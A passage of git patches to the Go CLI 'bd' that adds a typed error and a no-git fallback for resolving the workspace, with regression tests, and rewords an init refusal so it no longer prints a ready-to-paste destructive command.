a/internal/beads/BUILD.bazel b/internal/beads/BUILD.bazel index a70952f1f..ef74544f6 100644 --- a/internal/beads/BUILD.bazel +++ b/internal/beads/BUILD.bazel @@ -34,6 +34,7 @@ go_test( "cwd_priority_test.go", "explicit_beads_dir_test.go", "fingerprint_test.go", + "no_repo_root_test.go", "routing_integration_test.go", "sqlite_database_path_test.go", "suite_temp_test.go", diff --git a/internal/beads/context.go b/internal/beads/context.go index 1ae45003b..dc0b1514b 100644 --- a/internal/beads/context.go +++ b/internal/beads/context.go @@ -31,6 +31,7 @@ import ( "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/gitenv" + "github.com/steveyegge/beads/internal/utils" ) // UserRole represents the user's relationship to a repository. @@ -100,6 +101,143 @@ func GetRepoContext() (*RepoContext, error) { return repoCtx, repoCtxErr } +// NoRepoRootError reports that a .beads directory was found and cleared the +// SEC-003 safe-boundary check, but git could not tell us a repository root for +// it. +// +// "Git could not tell us", not "there is no repo": git.GetMainRepoRoot bottoms +// out in a single `git rev-parse`, and every failure of that command arrives +// here. The common case is the plain one — the workspace is not inside a git +// repo — but a dangling gitfile, a dubious-ownership refusal, or git missing +// from PATH all land here too. Recovering is equally safe in all of them (the +// workspace is located and boundary-checked either way), but a caller +// reporting on the workspace should not claim to know which it was. `bd +// context` says so by leaving cwd_repo_root empty, and printContextText prints +// "git: unavailable" for it. +// +// It is deliberately distinct from the other two failures buildRepoContext can +// return ("no .beads directory found" and the unsafe-location rejection): +// those mean bd does not know which workspace it is looking at, while this one +// means it does. Only this failure is safe for a git-independent caller to +// recover from, and only a typed error can say so — the unsafe-location +// message embeds the offending path verbatim, so any substring test over the +// message text is a path-controlled discriminator. +type NoRepoRootError struct { + // BeadsDir is the resolved, boundary-checked .beads directory. + BeadsDir string + // Err is the underlying git failure. + Err error +} + +func (e *NoRepoRootError) Error() string { + return fmt.Sprintf("cannot determine repository root: %v", e.Err) +} + +func (e *NoRepoRootError) Unwrap() error { return e.Err } + +// GetRepoContextAllowingNoGit returns the repository context for callers that +// only need to locate the workspace, not operate on git — `bd context` and the +// context provider behind the proxied route, both of which read config files +// and are documented to answer in degraded states. +// +// It behaves exactly like GetRepoContext except for NoRepoRootError, where it +// synthesizes a context rooted at the .beads parent. Every other failure, +// including the unsafe-location rejection, propagates untouched. Callers that +// actually run git commands must keep using GetRepoContext, so that a missing +// repository stays an error at the point where it matters (GH#4772). +func GetRepoContextAllowingNoGit() (*RepoContext, error) { + return recoverNoGit(GetRepoContext()) +} + +// recoverNoGit is the selection itself, split out from +// GetRepoContextAllowingNoGit so a test can drive the discriminator rather than +// re-deriving errors.As over hand-built values — which is a property of the +// standard library, not of this package's choice of discriminator. +// +// It returns (rc, err) untouched for every error that is not a +// *NoRepoRootError, and a synthesized context for the one that is. +func recoverNoGit(rc *RepoContext, err error) (*RepoContext, error) { + var noRoot *NoRepoRootError + if !errors.As(err, &noRoot) { + return rc, err + } + return &RepoContext{ + BeadsDir: noRoot.BeadsDir, + // Root from the .beads side, not at filepath.Dir(BeadsDir). The failure + // that reaches here is the CWD's missing repository, not the .beads's — + // so when the .beads DOES live inside a repo, naming its parent would + // report a subdirectory and the same workspace would answer differently + // depending only on where the caller stood. repoRootForBeadsDir asks git + // from the .beads directory, which needs no CWD repo, and already falls + // back to filepath.Dir(beadsDir) when git cannot answer — so the + // no-git-anywhere result is unchanged. + RepoRoot: repoRootForBeadsDir(noRoot.BeadsDir), + // Known-empty, not merely usually: GetMainRepoRoot, GetRepoRoot and + // IsWorktree all read one sync.Once-cached gitContext, so reaching + // recoverNoGit means that cached lookup has already failed and all three + // degrade together. The call stays because it documents where the value + // comes from, but it cannot return anything but "" here. + CWDRepoRoot: git.GetRepoRoot(), + // Externality is decided POSITIONALLY: the resolved .beads is a redirect + // iff discovery standing in the current working directory would not have + // found it. + // + // Why position rather than an inventory of environment variables: bd has + // four caller-directed workspace channels — BEADS_DIR, --db, + // BEADS_DB/BD_DB and -C — and every one but BEADS_DIR reaches + // FindBeadsDir only after cmd/bd has rewritten BEADS_DIR for itself + // (selectedNoDBBeadsDir; applyChangeDirSelection for -C, which resolves a + // .beads and exports it WITHOUT changing the process directory). Reading + // the environment therefore cannot distinguish a workspace the caller + // named from one bd just found and re-exported, an inventory goes stale + // as channels are added, and a further BEADS_DIR writer already exists in + // the save/restore pair in cmd/bd/doctor.go. Asking where the caller is + // STANDING needs no inventory and covers all four channels uniformly. + // + // isExternalBeadsDir answers this by comparing git COMMON DIRS on the + // normal path; the CWD side of that comparison needs a repository, which + // is precisely what is missing here, so position is the substitute. + IsRedirected: beadsDirIsExternalToCWD(noRoot.BeadsDir), + // IsWorktree stays false for the same reason CWDRepoRoot is empty: the + // one cached git context this all reads has already failed, so + // git.IsWorktree() cannot be true here. + }, nil +} + +// beadsDirIsExternalToCWD reports whether beadsDir is external to the working +// directory — whether workspace discovery, standing in the CWD, would have +// found something other than beadsDir, or nothing at all. +// +// It reuses FindBeadsDirFrom, which is both the primitive -C itself resolves +// through (resolveChangeDirBeadsDir) and purely positional: it consults none of +// the caller-directed variables, and its git probe scrubs routing env, so bd's +// own re-exported BEADS_DIR cannot make a walk-found workspace look named. +// +// Settled boundary (the unspecified case the review flagged): a store reachable +// only by being named is a redirect, INCLUDING one in a sibling directory of the +// CWD. With no repository for the CWD there is no enclosing scope that could +// make a sibling local, so the ancestor walk is the only defensible notion of +// "the workspace I am standing in". This matches what Role() means by "external +// repo mode": you are not standing in this store's project. +func beadsDirIsExternalToCWD(beadsDir string) bool { + if beadsDir == "" { + return false + } + cwd, err := os.Getwd() + if err != nil { + // No position to compare against. Report no redirect rather than + // inventing one from a failure that says nothing about provenance. + return false + } + discovered := FindBeadsDirFrom(cwd) + if discovered == "" { + // Nothing is discoverable from here, yet a workspace was resolved, so + // some caller-directed channel must have named it. + return true + } + return !utils.PathsEqual(discovered, beadsDir) +} + // buildRepoContext constructs the RepoContext by resolving all paths. // This is called once per process via sync.Once. func buildRepoContext() (*RepoContext, error) { @@ -134,7 +272,12 @@ func buildRepoContext() (*RepoContext, error) { var err error repoRoot, err = git.GetMainRepoRoot() if err != nil { - return nil, fmt.Errorf("cannot determine repository root: %w", err) + // Typed so callers that can work without git select this exact + // failure with errors.As instead of matching the message text. + // beadsDir is carried along because it has already cleared steps + // 1 and 2 above (found, and inside the safe boundary), which is + // precisely what makes the no-git fallback safe to take. + return nil, &NoRepoRootError{BeadsDir: beadsDir, Err: err} } } diff --git a/internal/beads/no_repo_root_test.go b/internal/beads/no_repo_root_test.go new file mode 100644 index 000000000..59d9d4490 --- /dev/null +++ b/internal/beads/no_repo_root_test.go @@ -0,0 +1,355 @@ +package beads + +import ( + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/git" +) + +// TestGetRepoContextAllowingNoGit_RecoversOutsideGitRepo verifies the +// git-independent entry point resolves a workspace that is not inside a git +// repository, rooting the context at the .beads parent (GH#4772). +func TestGetRepoContextAllowingNoGit_RecoversOutsideGitRepo(t *testing.T) { + tmpDir := t.TempDir() + beadsDir := filepath.Join(tmpDir, ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatalf("failed to create .beads dir: %v", err) + } + if err := os.WriteFile(filepath.Join(beadsDir, "beads.db"), []byte{}, 0o600); err != nil { + t.Fatalf("failed to create beads.db: %v", err) + } + + // An inherited BEADS_DIR wins at FindBeadsDir step 1 (beads.go:929) and would + // bind an unrelated workspace instead of the one this test just built, so the + // walk-discovery assertions below would grade the ambient environment rather + // than the code. The package TestMain scrubs HOME and GIT_CONFIG_* but not + // BEADS_DIR; three sibling tests already use this per-test convention. + t.Setenv("BEADS_DIR", "") + + origWD, err := os.Getwd() + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + _ = os.Chdir(origWD) + ResetCaches() + git.ResetCaches() + }) + ResetCaches() + git.ResetCaches() + if err := os.Chdir(tmpDir); err != nil { + t.Fatal(err) + } + + // Baseline: the git-requiring entry point still refuses, and does so with + // the typed error rather than a bare fmt.Errorf. + if _, err := GetRepoContext(); err == nil { + t.Fatal("GetRepoContext should still fail outside a git repository") + } else { + var noRoot *NoRepoRootError + if !errors.As(err, &noRoot) { + t.Fatalf("GetRepoContext error = %v, want a *NoRepoRootError", err) + } + } + + rc, err := GetRepoContextAllowingNoGit() + if err != nil { + t.Fatalf("GetRepoContextAllowingNoGit failed outside a git repository: %v", err) + } + wantBeadsDir := resolveSymlinks(beadsDir) + if rc.BeadsDir != wantBeadsDir { + t.Errorf("BeadsDir = %q, want %q", rc.BeadsDir, wantBeadsDir) + } + if want := filepath.Dir(wantBeadsDir); rc.RepoRoot != want { + t.Errorf("RepoRoot = %q, want %q (the .beads parent)", rc.RepoRoot, want) + } + if rc.CWDRepoRoot != "" { + t.Errorf("CWDRepoRoot = %q, want empty outside a git repository", rc.CWDRepoRoot) + } + // The .beads here is discoverable by walking up from the working directory, so + // the caller is standing in this workspace and the synthesized context must + // not claim a redirect. Because externality is decided positionally rather + // than from an environment snapshot, the BEADS_DIR scrub above is all this + // assertion needs — there is no package-init value left to stub. + // TestRecoverNoGit_RedirectProvenance covers the other side. + if rc.IsRedirected { + t.Error("IsRedirected = true for a .beads found by the working-directory walk") + } + if rc.IsWorktree { + t.Error("IsWorktree = true with no git repository to be a worktree of") + } +} + +// TestNoRepoRootError_DoesNotMatchUnsafeLocation is the regression for the +// discriminator itself. +// +// The no-git fallback must fire on exactly one failure: "a valid, +// boundary-checked .beads was found, but there is no git root". The other +// failure buildRepoContext can return — the SEC-003 unsafe-location rejection +// — embeds the offending path verbatim in its message, so a substring test +// over the message text is controlled by the path being rejected: a workspace +// whose path contains the probe phrase would take the fallback and have its +// unsafe-location error silently cleared. +// +// errors.As over a typed error cannot be spoofed that way, which is why the +// selection is typed. +func TestNoRepoRootError_DoesNotMatchUnsafeLocation(t *testing.T) { + const probe = "cannot determine repository root" + + hostilePath := filepath.Join("/etc", probe, ".beads") + unsafeErr := fmt.Errorf("BEADS_DIR points to unsafe location: %s", hostilePath) + + // The old discriminator: a path-controlled false positive. + if !strings.Contains(unsafeErr.Error(), probe) { + t.Fatalf("test setup no longer reproduces the substring collision: %v", unsafeErr) + } + + // The assertion that matters: drive the SELECTION, not errors.As. Asking + // errors.As about two hand-built values tests the standard library and + // passes no matter which discriminator this package actually uses — with + // the typed check swapped back for strings.Contains, a test shaped that + // way stays green while the bug it is named after is fully reintroduced. + // recoverNoGit is that selection, so this drives it directly. + if rc, err := recoverNoGit(nil, unsafeErr); err == nil { + t.Errorf("unsafe-location error was recovered into a context (%+v); it must propagate", rc) + } else if err != unsafeErr { + t.Errorf("unsafe-location error came back changed: %v", err) + } + + // The other two failures buildRepoContext can return must also pass + // through untouched, for the same reason. + noBeadsErr := fmt.Errorf("no .beads directory found") + if _, err := recoverNoGit(nil, noBeadsErr); err != noBeadsErr { + t.Errorf("no-.beads error came back changed: %v", err) + } + if rc, err := recoverNoGit(&RepoContext{BeadsDir: "/tmp/ok/.beads"}, nil); err != nil || rc == nil || rc.BeadsDir != "/tmp/ok/.beads" { + t.Errorf("a successful context must pass through untouched: rc=%+v err=%v", rc, err) + } + + // And the one failure that IS recoverable must be recovered, with the + // boundary-checked directory the error carried. + realErr := &NoRepoRootError{BeadsDir: "/tmp/ws/.beads", Err: errors.New("not a git repository")} + rc, err := recoverNoGit(nil, realErr) + if err != nil { + t.Fatalf("recoverNoGit(NoRepoRootError) = %v, want a synthesized context", err) + } + if rc.BeadsDir != "/tmp/ws/.beads" { + t.Errorf("BeadsDir = %q, want the boundary-checked dir carried by the error", rc.BeadsDir) + } + if rc.RepoRoot != filepath.Dir("/tmp/ws/.beads") { + t.Errorf("RepoRoot = %q, want the .beads parent", rc.RepoRoot) + } + + if !strings.Contains(realErr.Error(), probe) { + t.Errorf("error message changed: %q — the wording is user-facing", realErr.Error()) + } + if !errors.Is(realErr, realErr.Err) { + t.Error("NoRepoRootError must unwrap to the underlying git failure") + } +} + +// TestRecoverNoGit_RootsAtTheRepoContainingBeadsDir is the regression for +// rooting the synthesized context. +// +// The failure that reaches recoverNoGit is the CWD's missing repository, not the +// .beads's. Rooting at filepath.Dir(BeadsDir) conflated the two, so a .beads +// that did live inside a repo reported a SUBDIRECTORY of that repo as repo_root +// and the same workspace answered differently depending only on where the caller +// stood. repoRootForBeadsDir asks git from the .beads side, which needs no CWD +// repo. +func TestRecoverNoGit_RootsAtTheRepoContainingBeadsDir(t *testing.T) { + repoRoot := resolveSymlinks(t.TempDir()) + cmd := exec.Command("git", "init", "-q") + cmd.Dir = repoRoot + if out, err := cmd.CombinedOutput(); err != nil { + t.Skipf("git init unavailable: %v: %s", err, out) + } + + // The .beads lives in a SUBDIRECTORY of the repo, which is the case that + // distinguishes the two rootings. + beadsDir := filepath.Join(repoRoot, "sub", ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + + rc, err := recoverNoGit(nil, &NoRepoRootError{BeadsDir: beadsDir, Err: errors.New("not a git repository")}) + if err != nil { + t.Fatalf("recoverNoGit: %v", err) + } + if got := resolveSymlinks(rc.RepoRoot); got != repoRoot { + t.Errorf("RepoRoot = %q, want %q (the repository containing .beads, not its parent directory %q)", + got, repoRoot, filepath.Dir(beadsDir)) + } +} + +// TestRecoverNoGit_RootsAtBeadsParentWithNoGitAnywhere pins the other half of +// the same change: when git cannot answer from the .beads side either, +// repoRootForBeadsDir falls back to the .beads parent, so the documented +// no-git-anywhere behaviour is preserved exactly. +func TestRecoverNoGit_RootsAtBeadsParentWithNoGitAnywhere(t *testing.T) { + workspace := resolveSymlinks(t.TempDir()) + beadsDir := filepath.Join(workspace, ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + + rc, err := recoverNoGit(nil, &NoRepoRootError{BeadsDir: beadsDir, Err: errors.New("not a git repository")}) + if err != nil { + t.Fatalf("recoverNoGit: %v", err) + } + if got := resolveSymlinks(rc.RepoRoot); got != workspace { + t.Errorf("RepoRoot = %q, want the .beads parent %q", got, workspace) + } +} + +// TestRecoverNoGit_RedirectProvenance pins what the synthesized context says +// about identity, which is the question `bd context` exists to answer. +// +// isExternalBeadsDir compares git COMMON DIRS, and the CWD side cannot be +// computed without a repository — which is precisely the state this fallback +// serves. Position is the substitute: the workspace is a redirect iff discovery +// standing in the CWD would not have found it. That covers all four +// caller-directed channels (BEADS_DIR, --db, BEADS_DB/BD_DB, -C) uniformly, +// because it asks where the caller IS rather than which variable was set — and +// bd rewrites BEADS_DIR for itself before resolving, so the environment cannot +// answer this question at all. +func TestRecoverNoGit_RedirectProvenance(t *testing.T) { + newWorkspace := func(t *testing.T, parent string) string { + t.Helper() + beadsDir := filepath.Join(parent, ".beads") + if err := os.MkdirAll(beadsDir, 0o750); err != nil { + t.Fatal(err) + } + // hasBeadsProjectFiles gates discovery, so the workspace needs to look + // like a real one to be found by the walk. + if err := os.WriteFile(filepath.Join(beadsDir, "metadata.json"), []byte("{}\n"), 0o600); err != nil { + t.Fatal(err) + } + return resolveSymlinks(beadsDir) + } + + // chdirTo moves the process into dir for the duration of the subtest. Only + // the caller's POSITION decides provenance now, so this is the control. + chdirTo := func(t *testing.T, dir string) { + t.Helper() + origWD, err := os.Getwd() + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + _ = os.Chdir(origWD) + ResetCaches() + git.ResetCaches() + }) + ResetCaches() + git.ResetCaches() + if err := os.Chdir(dir); err != nil { + t.Fatal(err) + } + } + + t.Run("discoverable from the CWD is not redirected", func(t *testing.T) { + t.Setenv("BEADS_DIR", "") + workspace := resolveSymlinks(t.TempDir()) + beadsDir := newWorkspace(t, workspace) + chdirTo(t, workspace) + + rc, err := recoverNoGit(nil, &NoRepoRootError{BeadsDir: beadsDir, Err: errors.New("not a git repository")}) + if err != nil { + t.Fatalf("recoverNoGit: %v", err) + } + if rc.IsRedirected { + t.Error("IsRedirected = true for a .beads discoverable by walking up from the working directory") + } + }) + + t.Run("bd's own re-exported BEADS_DIR does not fake a redirect", func(t *testing.T) { + workspace := resolveSymlinks(t.TempDir()) + beadsDir := newWorkspace(t, workspace) + chdirTo(t, workspace) + // bd exports a BEADS_DIR for itself before resolving (context_cmd.go + // calls prepareSelectedNoDBContext immediately beforehand), so a + // walk-found workspace always has one in the environment by the time + // this runs. Position must be indifferent to it; an environment + // inventory would report a redirect here. + t.Setenv("BEADS_DIR", beadsDir) + + rc, err := recoverNoGit(nil, &NoRepoRootError{BeadsDir: beadsDir, Err: errors.New("not a git repository")}) + if err != nil { + t.Fatalf("recoverNoGit: %v", err) + } + if rc.IsRedirected { + t.Error("IsRedirected = true for a walk-discoverable workspace that bd merely re-exported") + } + }) + + t.Run("named from a directory that cannot reach it is redirected", func(t *testing.T) { + t.Setenv("BEADS_DIR", "") + beadsDir := newWorkspace(t, resolveSymlinks(t.TempDir())) + // Stand somewhere with no .beads on its ancestor chain. This is the + // shape every caller-directed channel produces: --db, BEADS_DB/BD_DB + // and -C all resolve a store the CWD could never have discovered. + chdirTo(t, resolveSymlinks(t.TempDir())) + + rc, err := recoverNoGit(nil, &NoRepoRootError{BeadsDir: beadsDir, Err: errors.New("not a git repository")}) + if err != nil { + t.Fatalf("recoverNoGit: %v", err) + } + if !rc.IsRedirected { + t.Error("IsRedirected = false for a workspace the working directory cannot discover") + } + if role, ok := rc.Role(); !ok || role != Contributor { + t.Errorf("Role() = (%q, %v), want (%q, true) — a redirect implies contributor", role, ok, Contributor) + } + }) + + t.Run("a sibling of the CWD is redirected", func(t *testing.T) { + t.Setenv("BEADS_DIR", "") + // The boundary the review left unspecified, settled deliberately: a + // store reachable only by being named is a redirect even when it sits + // beside the caller. With no repository for the CWD there is no + // enclosing scope that could make a sibling local. + parent := resolveSymlinks(t.TempDir()) + here := filepath.Join(parent, "here") + sibling := filepath.Join(parent, "sibling") + if err := os.MkdirAll(here, 0o750); err != nil { + t.Fatal(err) + } + if err := os.MkdirAll(sibling, 0o750); err != nil { + t.Fatal(err) + } + beadsDir := newWorkspace(t, sibling) + chdirTo(t, here) + + rc, err := recoverNoGit(nil, &NoRepoRootError{BeadsDir: beadsDir, Err: errors.New("not a git repository")}) + if err != nil { + t.Fatalf("recoverNoGit: %v", err) + } + if !rc.IsRedirected { + t.Error("IsRedirected = false for a .beads in a sibling directory of the working directory") + } + }) + + t.Run("a different discoverable workspace is still a redirect", func(t *testing.T) { + t.Setenv("BEADS_DIR", "") + // The CWD can discover a workspace, but not THIS one. + local := resolveSymlinks(t.TempDir()) + newWorkspace(t, local) + named := newWorkspace(t, resolveSymlinks(t.TempDir())) + chdirTo(t, local) + + rc, err := recoverNoGit(nil, &NoRepoRootError{BeadsDir: named, Err: errors.New("not a git repository")}) + if err != nil { + t.Fatalf("recoverNoGit: %v", err) + } + if !rc.IsRedirected { + t.Error("IsRedirected = false, but the resolved workspace is not the one the CWD discovers") + } + }) +} diff --git a/internal/storage/domain/fs/context.go b/internal/storage/domain/fs/context.go index 029e1aea2..4c2b3552c 100644 --- a/internal/storage/domain/fs/context.go +++ b/internal/storage/domain/fs/context.go @@ -26,8 +26,12 @@ func (r *contextRepositoryImpl) beadsDir(ctx context.Context) string { return r.fsRepo.ResolveBeadsDirPath(ctx).BeadsDir } +// RepoContext resolves the workspace paths behind `bd context`'s proxied +// route. It tolerates the absence of a git repository for the same reason the +// direct route does: this provider only reads config files, and a workspace +// outside git is a supported degraded state, not a failure (GH#4772). func (r *contextRepositoryImpl) RepoContext(ctx context.Context) (domain.RepoPaths, error) { - rc, err := beads.GetRepoContext() + rc, err := beads.GetRepoContextAllowingNoGit() if err != nil { return domain.RepoPaths{}, err } @@ -41,10 +45,15 @@ func (r *contextRepositoryImpl) RepoContext(ctx context.Context) (domain.RepoPat } func (r *contextRepositoryImpl) Role(ctx context.Context) (string, bool, error) { - rc, err := beads.GetRepoContext() + rc, err := beads.GetRepoContextAllowingNoGit() if err != nil { return "", false, err } + // Outside a git repo rc.Role() still answers: an explicit BEADS_DIR + // resolves to Contributor directly, and otherwise `git config --get + // beads.role` reads the global and system files, which are readable with + // no repository. It reports "not configured" only when none of those + // carry a role — it does not fail the command either way. role, ok := rc.Role() return string(role), ok, nil } From b81fdc0b20d92791f28e9250e886ff145c401e1b Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 07:22:49 -0700 Subject: [PATCH 037/325] =?UTF-8?q?fix(init):=20#5791=20follow-up=20?= =?UTF-8?q?=E2=80=94=20name=20--recreate-missing=20without=20a=20paste-rea?= =?UTF-8?q?dy=20command;=20align=20help,=20playbook=20and=20ADR=200004=20(?= =?UTF-8?q?#7070)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(init): name --recreate-missing in the refusal without a paste-ready command The missing-server-database refusal added in #5791 ended with a complete `bd init --recreate-missing --prefix ` line. ADR 0002 Invariant 4 keeps complete destructive invocations out of bd error output, and this refusal also fires when the server merely could not be reached: a stopped server, a wrong port and a wrong data dir all look the same from here, and recreating in any of them strands the real data behind an empty database of the same name. The line also echoed the raw --prefix flag value, so a run without --prefix printed `--prefix ` with nothing after it. The refusal now names the flag and points to `bd help init-safety`, which keeps the full invocation behind the diagnosis it requires. The unused prefix parameter stays as `_` so the guard call sites are unchanged. Also: - --force / --reinit-local flag help, `bd help init-safety` and the init guard comment now say neither flag authorizes recreating a missing server-mode database; the --recreate-missing stanza says to rule out a stopped server or wrong port/data dir and restore first. - bootstrap.go comments no longer describe #5791 as open and unmerged. - TestInitGuardMissingServerDBMessage_RefusalTextNoEcho pins the wording for both evidence arms, with and without a prefix. - TestInitGuard_RecreateMissingE2ECreatesMissingServerDB runs the real binary against a live server lacking the database: refused without the flag, created with it. The unit tests flip initAllowRecreateMissing directly, so nothing exercised the documented command end to end. Co-Authored-By: Claude Opus 5.5 * docs(recovery): init-missing-server-db covers both evidence arms and the flag limits The init-missing-server-db section described only the project_id arm of the guard. Under --reinit-local or --force a workspace that predates project_id is also refused when its local Dolt data directory survives, and the refusal then cites that directory instead of metadata.json. "What happened" now covers both arms. "Limits worth knowing" replaces the stale "fails open" bullet with a table of which local state meets the refusal under bd init and under --reinit-local / --force, and what --recreate-missing changes. The init-force-refused section now says --force / --reinit-local bypass only the local data-safety guard, not this refusal or the remote one, and step 3 says why the refusal names --recreate-missing without printing the command (ADR 0002 Invariant 4). Co-Authored-By: Claude Opus 5.5 * docs(adr): mark ADR 0004 Accepted now that #5791 has landed ADR 0004 (the missing-database guard signal) still read "Proposed" after the guards implementing it merged in #5791, and its Consequences said checkExistingBeadsDataAt "does not change" although the same PR gave it the Tier 1 probe ahead of project_id. Record the acceptance and say what the PR already changed; DOC_INVENTORY.md follows the status. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 11 +++ cmd/bd/bootstrap.go | 12 +-- cmd/bd/init.go | 8 +- cmd/bd/init_guard.go | 17 +++- cmd/bd/init_guard_force_e2e_test.go | 88 +++++++++++++++---- cmd/bd/init_guard_test.go | 65 +++++++++++--- cmd/bd/init_safety_help.go | 18 +++- docs/recovery/init-safety.md | 62 ++++++++----- engdocs/DOC_INVENTORY.md | 2 +- .../adr/0004-missing-database-guard-signal.md | 7 +- 10 files changed, 218 insertions(+), 72 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f61dd857f..c11f28a97 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -85,6 +85,17 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 no-op in shared-server mode, which is the topology of the 2026-08-11 loss. User-visible wherever the data directory exists but the database is gone. +- **The missing-database refusal no longer prints a ready-to-paste + `bd init --recreate-missing` command line.** It names the flag and points + to `bd help init-safety`, which keeps the full invocation behind the + diagnosis it requires (ADR 0002 Invariant 4). The refusal also fires when + the server merely could not be reached, and a stopped server, a wrong port + or a wrong data dir all look the same from there; recreating in any of them + strands the real data behind an empty namesake. Run without `--prefix`, the + old line also printed `--prefix` with no value. The `--force` and + `--reinit-local` help, `bd help init-safety` and the recovery playbook now + say that neither flag authorizes recreating a missing server-mode database. + - **`BEADS_DOLT_POOL_READ_TIMEOUT` / `dolt.pool-read-timeout` (and the write twins) now apply to every `bd` command in server mode.** The knobs shipped in #5089, but their env/config ladder ran only for callers of `NewFromConfig*`; diff --git a/cmd/bd/bootstrap.go b/cmd/bd/bootstrap.go index f361dc980..305989c43 100644 --- a/cmd/bd/bootstrap.go +++ b/cmd/bd/bootstrap.go @@ -664,7 +664,7 @@ func localFileRecoveryPlan(plan BootstrapPlan, beadsDir string) (BootstrapPlan, // initialized (ProjectID set) and the configured server-mode database could // not be confirmed to exist. Creating one here would strand the existing issue // data behind a new, empty database of the same name — the same root cause -// PR #5791 (open, not yet merged) addresses for bd init. +// the be-5up5 guards in init.go address for bd init (PR #5791). // // Reaching the init fall-through already implies the database was not // confirmed: existingBootstrapDBPlan returns a settled "none" plan whenever a @@ -1111,9 +1111,9 @@ func bootstrapMissingServerDBSummary(dbName, host string, port int, probeErr err // workspace that was already initialized elsewhere. Per GH#2363, this must // never suggest a destructive "recreate" action as an actionable next step. // -// The equivalent guard for `bd init` is proposed in PR #5791, which is open -// and not yet merged; this wording is kept deliberately close to it so the -// two can share one message once that lands. +// The equivalent `bd init` refusal is initGuardMissingServerDBMessage, from +// PR #5791. This wording is kept deliberately close to it so the two can be +// folded into one message. func bootstrapMissingServerDBRefusal(dbName, host string, port int, probeErr error) error { var b strings.Builder if probeErr != nil { @@ -1134,8 +1134,8 @@ func bootstrapMissingServerDBRefusal(dbName, host string, port int, probeErr err // Every route here must be followable FROM this state. `bd backup restore` // alone is not: it restores a Dolt-native snapshot, not a `bd export` // JSONL, and it requires an initialized database — so it silently routes - // the operator back through `bd init`, the very unguarded door this - // refusal exists to keep shut (PR #5791). Name that precondition instead + // the operator back through `bd init`, the door this refusal exists to + // keep shut (PR #5791). Name that precondition instead // of implying it, and lead with the routes that need no init at all. b.WriteString("\nTo recover existing data, repopulate the database rather than creating fresh.\n") b.WriteString("Routes that work from this state:\n") diff --git a/cmd/bd/init.go b/cmd/bd/init.go index 4954ae332..c57f26478 100644 --- a/cmd/bd/init.go +++ b/cmd/bd/init.go @@ -807,7 +807,9 @@ Non-interactive mode (--non-interactive or BD_NON_INTERACTIVE=1): // --reinit-local both bypass this local-only guard; they do NOT // authorize cross-boundary operations on remote history (see // CheckRemoteSafety at cmd/bd/init_safety.go and - // engdocs/adr/0002-init-safety-invariants.md). + // engdocs/adr/0002-init-safety-invariants.md), nor recreating a + // missing server-mode database (guardMissingServerDatabase below; + // engdocs/adr/0004-missing-database-guard-signal.md). if reinitLocal { // be-5up5 round 2 (review of PR #5791): --reinit-local/--force skip // checkExistingBeadsData entirely, and the typed confirmation below @@ -2258,8 +2260,8 @@ func init() { initCmd.Flags().Bool("setup-exclude", false, "Configure .git/info/exclude to keep beads files local (for forks)") initCmd.Flags().Bool("skip-hooks", false, "Skip git hooks installation") initCmd.Flags().Bool("skip-agents", false, "Skip AGENTS.md and Claude/Codex/Cursor setup generation") - initCmd.Flags().Bool("force", false, "Deprecated alias for --reinit-local. Bypasses only the LOCAL data-safety guard; does NOT authorize remote divergence (see 'bd help init-safety').") - initCmd.Flags().Bool("reinit-local", false, "Re-initialize local .beads/ over existing local data. Does NOT authorize remote divergence; see --discard-remote.") + initCmd.Flags().Bool("force", false, "Deprecated alias for --reinit-local. Bypasses only the LOCAL data-safety guard; does NOT authorize remote divergence or recreating a missing server-mode database (see 'bd help init-safety').") + initCmd.Flags().Bool("reinit-local", false, "Re-initialize local .beads/ over existing local data. Does NOT authorize remote divergence (see --discard-remote) or recreating a missing server-mode database (see --recreate-missing).") initCmd.Flags().Bool("discard-remote", false, "Authorize discarding the configured remote's Dolt history when re-initializing. Requires --destroy-token in non-interactive mode; see 'bd help init-safety'.") initCmd.Flags().Bool("recreate-missing", false, "Explicitly authorize creating a fresh, empty database when this project's configured server-mode database is missing or unreachable. Opt-in per invocation only; never implied by --force, config, or env (see 'bd help init-safety').") initCmd.Flags().Bool("from-jsonl", false, "Import issues from configured import.path; refuses remote history unless --discard-remote authorizes replacement") diff --git a/cmd/bd/init_guard.go b/cmd/bd/init_guard.go index 667241157..3bd2fc56c 100644 --- a/cmd/bd/init_guard.go +++ b/cmd/bd/init_guard.go @@ -141,7 +141,16 @@ var initAllowRecreateMissing bool // project_id (GH#2372) and is proven only by its local Dolt storage. Naming // metadata.json in that cell would assert evidence the caller does not have, // misdirecting an operator who audits metadata.json mid-recovery. -func initGuardMissingServerDBMessage(dbName, host string, port int, prefix string, haveProjectID bool) error { +// +// The --recreate-missing opt-in is named by flag only, never as a paste-ready +// command line (ADR 0002 Invariant 4). This refusal also fires when the server +// merely could not be reached to confirm, so whoever reads it may not yet know +// which case they are in, and a one-liner copied out of the error skips the +// diagnosis it asks for. The full invocation lives in `bd help init-safety` and +// docs/recovery/init-safety.md. The blank string parameter is the raw --prefix +// value that one-liner used to echo; it is ignored now, and kept only so the +// guard call sites stay unchanged. +func initGuardMissingServerDBMessage(dbName, host string, port int, _ string, haveProjectID bool) error { var b strings.Builder fmt.Fprintf(&b, "\n%s Database %q not found on server at %s:%d (or the server could not be reached to confirm).\n", ui.RenderWarn("⚠"), dbName, host, port) if haveProjectID { @@ -166,9 +175,9 @@ func initGuardMissingServerDBMessage(dbName, host string, port int, prefix strin b.WriteString(" bd backup restore # if a local backup snapshot exists\n") b.WriteString(" Check .beads/backup/ for a JSONL export you can 